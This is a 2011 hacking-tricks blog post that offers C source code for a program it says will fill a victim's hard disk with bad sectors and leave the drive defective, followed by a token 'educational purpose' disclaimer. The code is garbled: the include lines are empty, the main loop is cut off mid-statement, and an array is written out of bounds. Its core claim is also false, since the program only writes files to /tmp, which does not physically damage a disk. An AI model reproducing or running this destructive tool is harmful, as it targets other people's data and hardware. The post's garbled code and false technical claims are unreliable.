Tuesday, 29 March 2011
Create Bad sectors on hard disks
Posted by Admin at 05:05 Labels: C, Hacking, Internet And Hacking Tricks, Tricks | 0 comments
Create Bad sectors on hard disks
This program will create bad sectors on the hard disk. If you left it running for long enough, it could render a hard disk quite useless. When bad sectors are found, the sector is marked as bad, so fixing the hard disk is not an easy task. Unless the victim has time and knowledge to fix the disk, the hard drive can be left quite literally defective.
*/ This is a C Code */
#include
#include
#include
#include
#include
#include
#include
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf(“sekt0r: trashing hard disk with bad sectors!\n”);
while(1) {
fd[1] = open(“/tmp/.test”, O_WRONLY|O_CREAT, 511);
fd[2] = open(“/tmp/.test1″, O_WRONLY|O_CREAT, 511);
fd[3] = open(“/tmp/.test2″, O_WRONLY|O_CREAT, 511);
fd[4] = open(“/tmp/.test3″, O_WRONLY|O_CREAT, 511);
fd[5] = open(“/tmp/.test4″, O_WRONLY|O_CREAT, 511);
for(x = 0; x <>
DISCLAIMER : I don’t take responsibility for what you do with this program, served foe educational purpose only.
Subscribe to:
Post Comments (Atom)
Labels
- Tricks (68)
- Hacking (65)
- Computer and Mobile (44)
- windows (41)
- Internet Tricks (40)
- Amazings (38)
- Computer Tricks (30)
- Windows 7 (23)
- Interstings (18)
- Mobile (15)
- Windows XP (14)
- Education (11)
- Facebook (10)
- More Flavors (8)
- G-Mail (3)
No comments:
Post a Comment